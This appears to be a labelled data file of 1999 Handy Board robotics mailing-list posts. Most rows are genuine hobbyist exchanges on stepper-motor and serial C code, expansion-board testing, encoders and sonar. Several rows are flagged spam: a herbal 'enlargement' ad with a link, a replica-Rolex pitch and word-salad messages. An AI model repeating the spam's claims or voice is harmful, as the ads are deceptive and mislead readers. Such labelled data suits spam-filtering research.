O1 - off O2 - off O3 - on O4 - off And keep doing this. If you have some experience with C programming, it will be very easy to do that. I don't have the code here at home, but it was something like this: int glbPosition; int glbCoil; // Global variables void StartMeUp() // Start variables. You can spin the motor until it reaches a sensor to { // define its initial position glbPosition = 0; glbCoil = 0; position(); } void position() // Turns on the motor output represented by glbCoil { bk(0); bk(1); bk(2); bk(3); fd(glbCoil); } void left(int steps) { int counter; for(counter=1;counter<=steps;counter++) { glbCoil--; if(glbCoil<0) glbCoil=3; position(); } } void right(int steps) { int counter; for(counter=1;counter<=steps;counter++) { glbCoil++; if(glbCoil>3) glbCoil=0; position(); } } Then if you want your floppy motor do turn 90 degrees left you will write: left(50); If you type this after: right(50); The motor will return *exactly* to the initial position. Oops, I forgot, you have to place a delay between each position(). Change it to this: void position() // Turns on the motor output represented by glbCoil { int delay; bk(0); bk(1); bk(2); bk(3); fd(glbCoil); for(delay=0;delay<=200;delay++); } The value 200 will define the motor speed, making this number smaller it runs faster. Note: this is just a little code to help you understand the process, it's ugly. I've changed this code to an optimized version, if you want I can send you when I go to job (Wednesday). One more thing: you can easily change this to work with only 2 outputs, if you use a 74hc138 to decode 2 outputs to 4. Or maybe you can find a stepper motor controller, this thing should have a ""step left"" and ""step right"" pin, but I have no info on any... > have you written a code for driving them ? Yes, but it's at job. I'm working at home Monday and Tuesday, there is a Siemens S7 plc right in front of me! I don't have time to play with the Handy Board now, unfortunately... But I'd love to make an intelligent mobile vehicle some day. Hope I could help you. See you, Cesar",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","handyboard@media.mit.edu, Duncan Orthner ","Sun, 14 Feb 1999 18:12:36 -0600",Re: Expansion board questions,"Hi Duncan, I would like to have a copy of your hbtest.c to test the expansion board. If you could post it I bet a lot of us would use it to test. Thanks in advance Terry G. ---------- > From: Duncan Orthner > To: handyboard@media.mit.edu > Subject: Re: Expansion board questions > Date: Friday, February 12, 1999 6:35 PM > > At 05:28 PM 2/12/99 -0600, Clancy Nelson wrote: > >I just finished my expansion board kit, it went together quite nicely > >(thanks to everyone who gave me advice on its construction) but it doesn't > >seat all the way down on the Handy Board because it hits the crystal which > >protrudes above the the other components on the HB, is this normal or is the > >crystal on my HB taller then normal?, it lack about 3/16'' of going all the > >way down. > > Hi Clancy, > Sounds like your HB has a full height crystal. I think a half height > one is in the specs, if you're worried about it switch it with a shorter > version. You could also use a ceramic resonator, they're shorter than the > crystal. > > > > Also, is there procedure for testing the expansion board?. > > I rewrote Fred's hbtest.c to check the new analog and digital inputs, and I > have a short routine that lets you rotate the servos with the knob(). Let > me know if you're interested... > > Best, Duncan",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Sun, 14 Feb 1999 19:40:50 -0500",Re: Expansion board questions,"At 06:12 PM 2/14/99 -0600, Terry P. Gathright wrote: >Hi Duncan, >I would like to have a copy of your hbtest.c to test the expansion board. >If you could post it I bet a lot of us would use it to test. > Thanks in advance > Terry G. Terry, I will send you the code. I sent it to Fred for the website but haven't heard back. I'm reluctant to post it to the list, but I will mail it to anyone who asks... Best, Duncan ",0,0 Lilian Estrada ,"handyboard@media.mit.edu, connie@media.mit.edu, dorthy@media.mit.edu, ramona@media.mit.edu","Sun, 14 Feb 1999 16:21:38 -0500",zipping my lean muscle mass,"in mood some fife may reducible in decolonize may buckwheat ",1,0 Duncan Orthner ,handyboard@media.mit.edu,"Sun, 14 Feb 1999 20:29:55 -0500",Expansion board test routine,"Hello all, Well here it is, for what it's worth. The functions are pretty obvious, it works just like the original hbtest.c that Fred wrote. To try servos other than #5, you'll have to edit the line: servo5=(16*knob()); In the test_servo() routine. Hope this helps, Duncan expbtest.c /* test program for Handy Board version 1.0 -- 26 nov 95 Fred G. Martin (fredm@media.mit.edu) Modified 27 Jan 99 for testing the expansion board inputs and servo outputs by Duncan Orthner (orthner@idirect.com) */ void testmotors(void) { while (1) { int i; for (i= 0; i< 4; i++) { fd(i); msleep(250L); bk(i); msleep(250L); off(i); } } } void testdigitals(void) { printf(""Press START ...\\n""); while (peek(0x7fff)&0x80); beep(); printf(""Press STOP ...\\n""); while (peek(0x7fff)&0x40); beep(); while (1) { int i; printf(""Digital inputs: ""); for (i=15; i>6; i--) if (digital(i)) printf(""1""); else printf(""0""); printf(""\\n""); msleep(100L); } } void testanalogs_2to6(void) { printf(""Press START to test knob...\\n""); start_press(); while (1) { printf(""Turn knob; STOP to end -> %d\\n"", knob()); msleep(100L); if (stop_button()) { beep(); break; } } printf(""Press START for analog ins 2-6\\n""); start_press(); while (1) { int i; for (i=6; i >=2; i--) printf(""%d "", analog(i)); printf(""\\n""); msleep(100L); if (stop_button()) { beep(); break; } } printf(""\\n""); } void testanalogs_16to23(void) { printf(""Press START for analogs 16-23\\n""); start_press(); while (1) { int i; for (i=23;i>=16; i--) printf(""%d "", analog(i)); printf(""\\n""); msleep(100L); if (stop_button()) { beep(); break; } } printf(""\\n""); } void testanalogs_24to31(void) { printf(""Press START for analogs 24-31\\n""); start_press(); while (1) { int i; for (i=31;i>=24; i--) printf(""%d "", analog(i)); printf(""\\n""); msleep(100L); if (stop_button()) { beep(); break; } } printf(""\\n""); } /* adjusts the servo position with the knob */ void test_servo() { init_expbd_servos(1); while(1){ printf(""Press start to adjust servo...\\n""); start_press(); printf(""Stop to quit\\n""); while(1) { servo5=(16*knob()); if (stop_button()) { beep(); break; } } } }",0,0 Rajaraman Parameswaran ,"Javaid Iqbal , Handy Board ","Mon, 27 Jul 1998 22:38:11 +0530",Re: IR Emmiter and Detector for RW Pro,"Hi ! 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The same circuit you connected to the paralel port can be connected to the HandyBoard, but take care not to short circuit it and damage your HB. The appropriate connection is shown below. > But i dont know how to interface the HB to make the thing work :( Well, if you want to make the same thing I did, wipe out from the sockets your motor drivers for a while (L293?). Now if you have a protoboard, excellent. You will place wires in the socket holes to the protoboard matrix holes. These is a suggested connection, I'm using it in my HB: U10: connect pins 6 and 7 (make a little jumper) connect pins 14 and 15 Stepper motor coil 1 output: pin 3 Stepper motor coil 2 output: pin 11 U11: connect pins 6 and 7 connect pins 14 and 15 Stepper motor coil 3: pin 3 Stepper motor coil 4: pin 11 Ground: pin 4 5 VDC out for your circuit (don't exxagerate!): pin 16 This way you will use all your outputs, but this is only for algorithm testing... You can use bk() and fd(). The pins connected together turns on the red leds for you to see what's going on. (I didn't have an LCD the time I did this, my LCD arrived some days ago but I didn't have time and connector to place it in the HB yet). For you to use all the 8 outputs, these should be the connections: U10: Output 1: pin 1 Out2: pin 2 Out3: pin 9 Out4: Pin 10 U11: Out5: Pin 1 Out6: pin 2 Out7: Pin 9 Out8: Pin 10 GND: Pin 4 5 VDC out: pin 16 PLEASE REMEMBER THE FOLLOWING: 1 - The current you have in this pins is very LIMITED, you shouldn't drive more than 15 mA, so you will have to use external drivers or transistors. 2 - If you use transistors other than TIP122 that already have a protection diode inside it, remember to connect a diode in the reverse way as the current flows through the coil. This will prevent your circuit from being damaged by the reverse high voltage that the coil makes when turned off (sorry, I don't know how to call this in English, hope you could understand). Connecting all the outputs this way you can't use bk() and fd(). You'll have to write your own functions to acess the outputs (I didn't write that yet, but as soon as I restart playing with the HB I'll make it). With those connections the leds won't turn on, for them to blink you will have to connect the outputs to the appropriate pins (3, 6, 11 and 14). A logic 0 turns on the led. Hope this could help you a bit. Best regards, Cesar ",0,0 Hannes ,handyboard@media.mit.edu,"Mon, 15 Feb 1999 14:48:33 +0100",Re: Expansion board & V2X & sonar,"Hi Fred et al. I am doing a project with a six legged robot in which I would like to use the Polaroid 6500 sonar and the V2X compass AT THE SAME TIME. Since the SPI port D is tied up by the compass, I was wondering if directly connecting the digital output-pins of the expansion board can be used to trigger the sonar pulse and set the BINH. Will the triggering or blanking use more than the allowed 5 mA per output? Will the timing be accurate? Instead of poking (0x1008, 0x20) like in sonar.c could I just use set_digital_out(x) to start the ping (and turn on BINH in the same way)?? Would it be enough to just resolder the INIT and BINH lines to the digital output ports of the expansion board or would I need further modifications? Thanks for your valuable and continued support! Hannes ",0,0 """SHETTI.NITIN.MANGESH"" ",handyboard@media.mit.edu,"Mon, 15 Feb 1999 19:19:45 -0500",GREEN MASKING,"Dear Mr Fred Martin, Green masking files are available in Gerber format (pardon me if the spelling is wrong). We do not know how to open these files. Can you send us detailed instructions on how to open these files. Yours sincerely, Nitin ",0,0 """Fred G. Martin"" ","""SHETTI.NITIN.MANGESH"" ","Mon, 15 Feb 1999 09:38:01 -0500",Re: GREEN MASKING ,"you need a gerber viewer program, e.g., GC-PREVUE from http://www.graphicode.com/ fred In your message you said: > Dear Mr Fred Martin, > Green masking files are available in Gerber format (pardon me if > the spelling is wrong). We do not know how to open these files. Can you > send us detailed instructions on how to open these files. > Yours sincerely, > Nitin > > > ",0,1 Tom Brusehaver ,speidelh@met.mat.ethz.ch,"Mon, 15 Feb 1999 09:00:16 -0600",Re: Expansion board & V2X & sonar," >the SPI port D is tied up by the compass, I was wondering if directly >connecting the digital output-pins of the expansion board can be used to >trigger the sonar pulse and set the BINH. I am the guy who wrote the V2X code that is on the HB web site. I just got an expansion board, and am looking into v2X and sonar on the exp board right now. > Will the triggering or >blanking use more than the allowed 5 mA per output? Will the timing be accurate? >Instead of poking (0x1008, 0x20) like in sonar.c could I just use >set_digital_out(x) to start the ping (and turn on BINH >in the same way)?? Would it be enough to just resolder the INIT and BINH >lines to the digital output ports of the expansion board or would I need >further modifications? I cannot find where there are pins for the SPI port on the expansion board. Yup, the breadboard area would work, and I have thought of that. The SPI port is maybe overkill, so I am thinking that I'll just have like a timed process that, say every 500msec (configurable), it takes a heading. Then with the extra output pins, I'll be able to disable the compass, and send calibration signals, and resets. I think it'll be better. If anyone else is working on v2x, I'd love to hear about it. ",0,0 Jorge Terrell ,handyboard@media.mit.edu,"Mon, 15 Feb 1999 06:25:56 -0500",Required Form," -S'ensationall revoolution in m'edicine! -E'n'l'a'r'g'e your p''enis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be impressed with results! Clisk here: http://qcccs.info thymus timbre inscribe ant mcnally burden christoph curvaceous halibut where bavaria consular semiramis verity eternity nave barrett pitney stage habituate inculcate kramer crappie suez emblem needy circumferential confiscable analogy carp whiz tat electroencephalography licensor freehand patriot committing argue receptive apathy indecipherable maxwell quota diehard nowadays alienate sombre and kidney kong anagram pumice sarcasm nutate ",1,1 """Fred G. Martin"" ",tgb@wamnet.com,"Mon, 15 Feb 1999 11:44:16 -0500",Re: Expansion board & V2X & sonar ,"re: exp bd SPI pins: * 2 of the pins are used by the sonar and aren't separately available. * the other 2 SPI pins are at PCB holes J20 and J21. see the schem for details: http://el.www.media.mit.edu/projects/handy-board/hbexp30/expsch30.gif if you need all 4 spi pins for something, leave out the j11 sonar connector and tap the signals from there. fred In your message you said: > > >the SPI port D is tied up by the compass, I was wondering if directly > >connecting the digital output-pins of the expansion board can be used to > >trigger the sonar pulse and set the BINH. > > I am the guy who wrote the V2X code that is on the HB web site. I > just got an expansion board, and am looking into v2X and sonar on the > exp board right now. > > > Will the triggering or > >blanking use more than the allowed 5 mA per output? Will the timing be accur ate? > >Instead of poking (0x1008, 0x20) like in sonar.c could I just use > >set_digital_out(x) to start the ping (and turn on BINH > >in the same way)?? Would it be enough to just resolder the INIT and BINH > >lines to the digital output ports of the expansion board or would I need > >further modifications? > > I cannot find where there are pins for the SPI port on the expansion > board. Yup, the breadboard area would work, and I have thought of > that. > > The SPI port is maybe overkill, so I am thinking that I'll just have > like a timed process that, say every 500msec (configurable), it takes > a heading. Then with the extra output pins, I'll be able to disable > the compass, and send calibration signals, and resets. I think it'll > be better. If anyone else is working on v2x, I'd love to hear about it. > ",0,1 Steve Wall ,Handyboard@media.mit.edu,"Mon, 15 Feb 1999 12:26:59 -0500",shaft encoders for a track drive,"Has anybody out there constructed shaft encoders for a track driven MOBOT. If any body has I would appreciate any help you could give me. I wasn't going to use shaft encoders but I guess they are needed for many things correct? Is there anyway to build encoders without using the led's and the colored disks? or is that the easiest way? ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 mr4@andrew.cmu.edu,Steve Wall ,"Mon, 15 Feb 1999 13:09:28 -0500",Re: shaft encoders for a track drive,"Hi. We built encoders for a skid steered wheeled robot. There is a picture of it at: http://www.andrew.cmu.edu/user/mr4/minesweeper.html We used an IR Led and reciever pair, and a white disk with 24 radial black lines, and had pretty good luck with the encoder, but bad luck with the info gathered. The encoder counted alright (after we built a comparitor circuit to convert the analog sensor signal to digital), however, skid steering is very hard to model, making the odometry info obtained not very useful for accurate turning. In otherwords, a tracked (or wheeled) skid steering vehicle, by its nature, slips when it turns. Because of this, it is hard to correlate wheel rotations to degrees turned. Even if you can make a determine a correlation through experimentation, this relationship will not be consistant for different surfaces. Encoders are not useless though, as they will still give a good ""ballpark figure"" on distances traveled going straight. Anyway, a quick easy way to build one without using optics or worrying about A/D conversion is to get a magnetic switch (like on a bicycle speedometer), and mount little magnets on a fixture that turns with the tracks / wheels. You will never get as good resolution as with optics, because there is a limit to how close together the magnets can be, but for a tracked vehicle on rough terrain, we have found that the error accumulated from slippage prevents obtaining very accurate info anyway. A really good resource for this stuff is the book: Navigating Mobile Robots : Systems and Techniques by J. Borenstein, H. R. Everett, Liqiang Feng good luck, if I can help further, let me know, --Michael /* Michael N. Rosenblatt, sophomore Carnegie Mellon University (412) 683-5333 mr4@andrew.cmu.edu http://www.andrew.cmu.edu/user/mr4 */ --On Mon, Feb 15, 1999 12:26 PM -0500 ""Steve Wall"" wrote: > Has anybody out there constructed shaft encoders for a track driven > MOBOT. If any body has I would appreciate any help you could give me. > I wasn't going to use shaft encoders but I guess they are needed > for many things correct? Is there anyway to build encoders without > using the led's and the colored disks? or is that the easiest way? > > ___________________________________________________ > Steve Wall > Sir Sandford Fleming college > Swall@flemingc.on.ca",0,1 Nick Taylor ,handyboard@media.mit.edu,"Mon, 15 Feb 1999 10:40:00 -0800",Kent Farnsworth's MS-DOS port of pcode,"Please help ... I've misplaced the link to download Kent Farnsworth's pcode source for use under DOS. TIA - - - Nick - - - ",0,0 Stefano Falconetti ,Handyboard@media.mit.edu,"Mon, 15 Feb 1999 20:01:00 +0100",Re: shaft encoders for a track drive,"OK, now I too have my handy board, it's italian, not just the same, but has a 68hc11, and all those other thinks that make it just quite the original one similar to this. It will be interesting to see if we will can have, a day or another, a new footbal match using boards coming from other places. Maybe also the code written for the MIT's board is compatible with mine. I will take care anyway to maintain pertinent my mails to this mailing list. Thanks Stefano Falconetti ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 15 Feb 1999 11:26:12 -0800",Re: Kent Farnsworth's MS-DOS port of pcode,"Thank you ... this is the link that I couldn't find. ftp://cherupakha.media.mit.edu/pub/projects/interactive-c/ms-dos/ - - - Nick - - - ",0,0 Sexton Myra ,handyboard@media.mit.edu,"Mon, 15 Feb 1999 12:25:54 -0500",putting depression on a backburner,"on crucifixion on power be fade it's way or shard ",1,0 Ameen Suleman ,handyboard ,"Mon, 15 Feb 1999 16:31:12 -0500",re: stepper motors,"I have worked with two kinds of stepper motors with the handy board. One pair was purchased from LMDC. These are Astrosyn miniangles stepper motors. These were big heavy duty stepper motors. The other pair was from old 5 1/4 inch floppy drives from the arm positioning motor. I connected them to the HB through a pair of UCN5804B stepper motor translator/driver chips. For the two motors I needed four lines to the handy board. Dir 1, Dir 2, Step, Disable. The floppy motors worked very nicely up to a step time of 1 ms. I couldn't get the Astrosyns to work as smoothly or as fast. I also had trouble replacing the spindle on the floppys with something that will drive a wheel. Other than that, the electronics worked fine. Regards, Ameen Suleman ",0,0 Jeroen van der Vegt ,handyboard@media.mit.edu,"Mon, 15 Feb 1999 22:59:17 +0100",Re: Stepper Motor,"Keith, I've succesfully connected two steppermotors from old diskdrives to the HB, one 1.8 degrees and one even 0.9 degrees/step. I found all the info I needed on the internet, and especially www.cctc.demon.co.uk/stepper.htm contains some useful information (not only on stepper motors!), including IC-code to control a steppermotor with the HB. I optimized the code found there, and was able to make 1 rotation within a second with the 1.8 degrees/step steppermotor. I found the main problem to be how to connect the differend wires to the motor outputs. My 1.8 degrees motor has a brown, a black, a orange and a yellow wire, and I connected them in this order from the RJ11 connection on the HB down to the start button, using only motoroutputs 0 and 1, so I can connect an other steppermotor to the outputs for motor 2 an 3. I have SN754410 motor drivers chips, and I don't know what will happen if you use the standard chip's. BTW, using software to control steppermotors at a high speed uses quite a lot of processor power. Also, you can only connect two steppermotors to your HB this way. I think using seperate steppermotor driver IC's would be better, but I haven't had time to test one yet :-(. Jeroen van der Vegt. -----Original Message----- From: Keith To: handyboard@media.mit.edu Date: zondag 14 februari 1999 19:51 Subject: Re: Stepper Motor > >I am also trying to use steppers motors from an old floppy, if anyone has >accompished this I am interested in your result and methods > >Keith > >At 03:33 PM 2/14/99 +0000, you wrote: >>Hi! >> >>> I have a question. Can i use stepper motors to drive my robot platform ? >> >>I don't have any experience in robots, but I've mounted a positioning >>system for a current transformer tap selector using the HandyBoard. >> >>> Do i need a gear ? >> >>Stepper motors are generally strong and can keep the stopped position very >>well. >> >>> I'd like to use stepper motors instead of normal ones, because I would >>> not need any shaft encoders. >>> And I think stepper motors do not cause so much noise like normal >>> motors. >>> If someone have a idea where (old floppys,etc.) to rip out good (12V/1A) >>> stepper motors, please mail me. >> >>You will find good 1.8 degree stepper motors in old 5 1/4 drives, generally >>they are about 160 mA x 12 V. Other source of very good stepper motors are >>old printers, I've found some incredibly strong ones. >> >>> Does someone use stepper motors to drive a robot ? >>> Are there any arguments against using stepper motors to drive ? >> >>Simon, please keep me in touch of your progress, I'd like to mount my first >>mobile robot and I have lots of stepper motors right here... We can swap >>HandyBoard code too. >> >>Best regards, >>Cesar >",0,0 Ameen Suleman ,handyboard ,"Mon, 15 Feb 1999 22:39:39 -0500",Motors start when reset,"Every time I reset the board, the motor port LEDs light up, if a motor is connected to the motor ports, the motors turn on. This happens until the reset is complete and I hear the beep sound. Is there a way to prevent this? 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If any body has I would appreciate any help you could give me. >I wasn't going to use shaft encoders but I guess they are needed >for many things correct? Is there anyway to build encoders without >using the led's and the colored disks? or is that the easiest way? Depending on how your tracks are constructed, if they have holes or slots that light can pass through you can use the tread directly in place of the encoder wheels. Get some detailed information on how optical encoders work, understand it and it will be trivial to construct them using the tracks. Mike ",0,0 Chen Yung Hsu ,handyboard@media.mit.edu,"Tue, 16 Feb 1999 10:13:01 -0500",Re: sensors,"Hello everyone. =) I'm currently doing research on sensors for a robot my team is building. are there such things as color sensors? any other sensor recommendations would be appreciated =) chen ",0,0 Mitchel Resnick ,play99@media.mit.edu,"Tue, 16 Feb 1999 11:09:14 -0500",pretend play (resend),"Some people had difficulty with the formatting of the Pretend Play article that I forwarded last week. I've attached a new version of the article. I hope this one works better... M...",0,0 Manuel Herrera ,handyboard@media.mit.edu,"Wed, 17 Feb 1999 02:17:21 +0200","Re: That one time.. Tue, 16 Feb 1999 19:25:21 -0500"," Do you want to look c00l and w3althy but do not have the m0ney to aff0rd a= sweet n3w R0lex watch? Get a 98% L00kalike R0lex watc_h here! We have replika_s of all the fines_t bran_d watc_hes. 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",1,1 Tamara Lackner ,play99@media.mit.edu,"Tue, 16 Feb 1999 14:26:05 -0500",Toy Ideas webpages,"here are my top ten: http://www.media.mit.edu/~tlackner/play99/toyIdeas.html here's my attempt to categorize all the toy ideas: http://www.media.mit.edu/~tlackner/play99/combinedToyIdeas.html ~~~~~~~~~~~~~~~~~~~~~~~~~~ tamara m lackner mit media lab ph: 617 253 1401 http://www.media.mit.edu/~tlackner ",0,1 Carlos Puchol ,Handyboard@media.mit.edu,"Tue, 16 Feb 1999 12:50:14 -0800",gleason research experiences?,"hi i was wondering if anyone has experience ordering miniboards from gleason research. i find it odd that they do not reply to email or phone or messages for an urgent order. did we make a mistake ordering from them? any recommendations? _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Barry Brouillette ,Carlos Puchol ,"Tue, 16 Feb 1999 17:27:47 -0500",RE: gleason research experiences?,"I've bought a bunch of Handyboards and expansion boards from Gleason and have had great service and an excellent product. Barry -----Original Message----- From: Carlos Puchol [mailto:cpg@rocketmail.com] Sent: Tuesday, February 16, 1999 3:50 PM To: Handyboard@media.mit.edu Subject: gleason research experiences? hi i was wondering if anyone has experience ordering miniboards from gleason research. i find it odd that they do not reply to email or phone or messages for an urgent order. did we make a mistake ordering from them? any recommendations? _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 bill_r@inetnebr.com,handyboard@media.mit.edu,"Tue, 16 Feb 1999 16:46:06 -0600",Re: Robot base ,"If you're looking for a reasonably large robot base, you might want to check out ""Toys 'R' Us""; there's a battery powered kid's vehicle called the ""Wild Thing"" at our local store for $149. It's basically about a 3 foot diameter cylinder about 1 foot tall, with a 6 or 8"" motorized wheel under the left and right sides, a battery, and a seat with some simple controls. You could bolt a computer in the seat, wire up a couple of h-bridge motor drivers, and be on your way. This would be particularly suited for an outdoor robot, as it's a bit big and clumsy for indoors... > > Circular. It is harder to get stuck in corners with a round > robot. It is easier to build a bumper system for it. > >> base dimensions: 9"", 10"" or 12"" or larger > > 10"", that leaves you a circumscribed square that is the size > of a PC-104 type computer. > >> drive train configuration: >> differential steering or combined drive and >> steering or front wheel drive rear wheel steering. > > Differential drive is the easiest to solve the inverse kinematics > for. > > One steered wheel and two driven wheels is the easiest one to > get to go straight. > > One combined drive and steering wheel is the cheapest to build. > (see the Hero-1, Hero-Jr) > > Three steered and driven wheels gives you the most flexibility > and benefit (see the CMU rover papers) > >> drive wheel diameter: 2.75"", 3"" or 3.25"" or larger > > 3.82"" wheels for the following reasons: > - Larger diameter gives better results over uneven > terrain. > - 3.82*pi = 12"" circumference. 1 rotation == 1 foot > of travel. > Optionally 7.64"" wheels > >> base material: plastic, aluminum or fiberglass (PCB material) > > Plastic (Polycarbonate aka Lexan) and aluminum. Alum for > toughness and plastic that is easily worked, structurally > sound and reasonably light. > >> accessories: turret, extra deck > > Extra deck that is a turret, slip coupler between the top deck > and the mid-deck for signals. > >Anyway, it will cost about $300 to produce, it won't go up stairs and it >won't include batteries and no one will buy it because it can't compete >with a R/C on closeout from Radio Shack. :-( > >--Chuck > > Bill Richman incolor.inetnebr.com/bill_r (Home of the COSMAC Elf microcomputer simulator!) ",0,0 Ranjit Diol ,Nick Taylor ,"Tue, 16 Feb 1999 17:54:03 -0500",Re: S19 disassembler,"If you are looking for a *.s19 disassembler you could try the following site: http://207.96.147.218/software.htm (it's called a' s19 convertor') G'Luck, Ranjit Nick Taylor wrote: > Will someone please point me to an S19 disassember > > TIA, > - - - Nick - - - -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mich.com website: http://www.compsys1.com ",0,1 Mike Howard ,Carlos Puchol ,"Tue, 16 Feb 1999 14:57:27 -0800",Re: gleason research experiences?,"I too have found Gleason Research to be very good. We burned out an LCD screen and they replaced it for me for free. On my shipment I requested by e-mail the UPS tracking number and they responsed with a day. They don't alwys answer their phone in person, but if you keep trying they sometimes do. Mike Howard On Tue, 16 Feb 1999, Carlos Puchol wrote: > hi i was wondering if anyone has experience > ordering miniboards from gleason research. > i find it odd that they do not reply to email > or phone or messages for an urgent order. > did we make a mistake ordering from them? > any recommendations? > _________________________________________________________ > DO YOU YAHOO!? > Get your free @yahoo.com address at http://mail.yahoo.com > ",0,1 Nick Taylor ,Handyboard@media.mit.edu,"Tue, 16 Feb 1999 14:58:39 -0800",Re: gleason research experiences?,"Gleason Research gets my highest recommendation ... a great product and efficient service. But, I didn't know that they sold the miniboard ... just the HandyBoard and its expansion board. - - - Nick - - - Carlos Puchol wrote: > > hi i was wondering if anyone has experience > ordering miniboards from gleason research. > i find it odd that they do not reply to email > or phone or messages for an urgent order. > did we make a mistake ordering from them? > any recommendations? > _________________________________________________________ > DO YOU YAHOO!? > Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Tue, 16 Feb 1999 15:07:39 -0800",Re: S19 disassembler,"Thanks, but their s19 converter takes an s19 file as input an outputs a memory image. What I'm searching for takes the s19 file input and outputs an AS11 source file. - - - Nick - - - Ranjit Diol wrote: > > If you are looking for a *.s19 disassembler you could try the following > site: > http://207.96.147.218/software.htm (it's called a' s19 convertor') > > G'Luck, > Ranjit > > Nick Taylor wrote: > > > Will someone please point me to an S19 disassember > > > > TIA, > > - - - Nick - - - > > -- > Ranjit Diol - COMPSys > Dowagiac,Michigan > e-mail: rsdiol@mich.com > website: http://www.compsys1.com ",0,1 Richard Drushel ,handyboard@media.mit.edu,"Tue, 16 Feb 1999 18:57:23 -0500",Re: gleason research experiences?,"[Carlos Puchol] spake unto the ether: > hi i was wondering if anyone has experience > ordering miniboards from gleason research. We bought about 25 Handy Boards from Gleason Research almost 2 years ago. One of them had a mis-seated MAX232 (or whatever it is) chip on the serial board, so that was the only one that didn't work perfectly out of the box; but it was easy to troubleshoot. When people ask me about a source for Handy Boards, I tell them www.gleasonresearch.com. I'm quite happy. (Gotta get my order in for some Expansion Boards, now.) *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 info ,cpg@rocketmail.com,"Tue, 16 Feb 1999 21:29:08 -0400",Re: gleason research experiences?,"Dear Mr. Puchol, Your order was shipped today via UPS Red, and you should have it tomorrow morning. Please be aware that our policy (as stated on our web site) is to ship orders the business day after they are received. Thank you, Wanda Gleason Gleason Research On Tue, 16 Feb 1999, Carlos Puchol wrote: > hi i was wondering if anyone has experience > ordering miniboards from gleason research. > i find it odd that they do not reply to email > or phone or messages for an urgent order. > did we make a mistake ordering from them? > any recommendations? ",0,0 Peter Eacmen ,"""'handyboard@media.mit.edu'"" ","Tue, 16 Feb 1999 23:16:02 -0500",Easy communication between HBs,"After struggling with it for many hours I found an alternative to Randy's serialio.c serial communication which I couldn't get working. So I used the Pa7_9600 Baud Serial output from unknown origin (Fred?) (http://el.www.media.mit.edu/groups/el/projects/handy-board/software/ser ial.html). I cut a standard RJ11 cable and soldered the Rx line(yellow) and the ground(red) to the ends of a length 4 header. The header goes into the transmitting HB and the RJ11 connector goes into the RJ11 jack on the recieving HB. On the transmitting HB the header goes to digital input 9 with the yellow end up towards the LCD. If you have questions post to mailing list I might be able to help. Here's some sample code: Transmitting HB: /* sertest.c: tests pa7_9600() serial output routine */ void main() { int i; while (1) { for (i= 'A'; i<='z'; i++) { pa7_9600(i); printf(""%c\\n"", i); msleep(100L); } pa7_9600(13); /* send carriage return */ pa7_9600(10); /* send line feed */ } } Recieving HB: void disable_pcode_serial() /* disable board handshaking with IC */ /* on the host computer, allowing user */ /* programs to receive serial data */ { poke(0x3c, 1); } int serial_getchar() /* read a serial character. Note: the */ /* program hangs until a character is */ /* received! There is no timeout! */ { while (!(peek(0x102e) & 0x20)); /* wait until a character arrives */ return (peek(0x102f)); /* return it as an int */ } void main() { int x=0; disable_pcode_serial(); while(1) { printf(""\\n%c"",serial_getchar()); } }",0,1 """Olson, Shan (PBMS-SOlson)"" ","Handyboard@media.mit.edu, 'Carlos Puchol' ","Wed, 17 Feb 1999 01:42:13 -0800",RE: gleason research experiences?,"I bought my HB via email and had it at my door in three days. Its likely they got Valentines Day and Presidents Day off. I wish I did. . . shan > ---------- > From: Carlos Puchol[SMTP:cpg@rocketmail.com] > Sent: February 16, 1999 12:50 PM > To: Handyboard@media.mit.edu > Subject: gleason research experiences? > > hi i was wondering if anyone has experience > ordering miniboards from gleason research. > i find it odd that they do not reply to email > or phone or messages for an urgent order. > did we make a mistake ordering from them? > any recommendations? > _________________________________________________________ > DO YOU YAHOO!? > Get your free @yahoo.com address at http://mail.yahoo.com > ",0,1 doug@knowpeace.com,handyboard@media.mit.edu,"Wed, 17 Feb 1999 01:53:47 -0800",Sonar and RF Modem questions,"HB fans, A few questions for ya ... I just received my polaroid 6500 sonar module from wirz. Cool little gadget. I have the HB expansion board from gleason. Installation looks pretty straightforward with the expansion board, since the pins on the cable connector only fit one way onto the board, and the contact side of the ribbon cable is obvious. But ... 1) Is everybody adding the 100uf 16 volt capacitor to prevent power dips (per http://www.robotics.com/arobot/sonar.html)? I have to wonder why wirz doesn't ship the boards with this peice or even recommend it on their web site or in their documentation. Any opinions would be appreciated. 2) I like the ""cap"" around the transducer as illustrated in this picture of the ""RadStamp"" http://www.milinst.demon.co.uk/radar.htm Does anyone know where I can get such a cap, or what other (plumbing?) materials you are using? 3) I also like how the RadStamp attaches the transducer to a stepper motor. Any recommendations on an appropriate motor for such an application, to be driven by the HB expansion servo control outputs? Would a standard R/C servo work for this, or do I need a special stepper motor (or is there a difference in these terms). 4) I want to hook up RF transcievers to the handy board and my laptop for wireless RS232 comms. I have been researching this and am quite confused. There seems to be quite a few options. - I have had recommendations for SIMA from pontech (http://www.pontech.com/PRODUCTS/sima/index.htm) but it looks so big, it's unclear how big the remote module is or what it looks like. - I have also looked at the Linx Technologies site (http://www.linxtechnologies.com/f_modules.html) but I'm not sure which module would be the best choice for the HB or how difficult it would be to interface the module. Does anyone have wireless comms setup, and if so what parts/configuration did you use? I would greatly appreciate recommendations for a pair of RF transcievers. Parimary goal is to control the board from host PC via serial link, but I would also like to be able to communicate between two handy boards via wireless serial link. Any ideas? Thanks, Doug ",0,1 Alf Hendrik Kuchenbuch ,"""handyboard@media.mit.edu"" ","Wed, 17 Feb 1999 11:06:13 +0100",HB to control a TV set and VCR,"Hi everyone! I'd like to control a TV 